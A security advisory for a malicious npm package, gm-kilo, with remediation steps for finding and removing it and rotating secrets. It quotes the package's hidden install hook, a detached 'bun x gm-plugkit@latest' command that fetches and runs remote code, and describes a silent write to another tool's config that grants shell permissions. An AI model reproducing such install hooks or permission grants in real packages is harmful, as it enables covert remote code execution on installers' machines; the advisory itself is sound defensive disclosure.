MAL-2026-4574 Malicious code in gm-kilo (npm)
Malicious package
Published
MAL-2026-4574 is a malicious package: gm-kilo (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-4574/ (Markdown: https://insights.sbomify.com/MAL-2026-4574/index.md)
- Package
- gm-kilo
- Registry
- npm
What is MAL-2026-4574?
MAL-2026-4574 is a malicious package in gm-kilo, published on 20 May 2026.
Official description
package.json declares an
install lifecycle script that runs bin/gm-kilo.js install. At install time, the script executes bun x gm-plugkit@latest spool > /dev/null 2>&1 & via execSync, which downloads and runs whatever the latest published version of gm-plugkit is using the Bun alternate runtime. The version pin is mutable (@latest), the command output is redirected to /dev/null, and the process is detached into the background — these properties are characteristic of covert remote-code execution at install time. Whoever controls publishing of gm-plugkit can deliver arbitrary code to every machine that installs gm-kilo, and the install hook hides that execution from the installer's terminal. Additionally, the install script writes to ~/.kilo/config.yml (a separate tool's configuration file) to register a gm agent with Bash(*plugkit*) shell-execute permission, silently expanding that tool's trust surface to invoke plugkit-related commands without user consent.What should I do about MAL-2026-4574?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.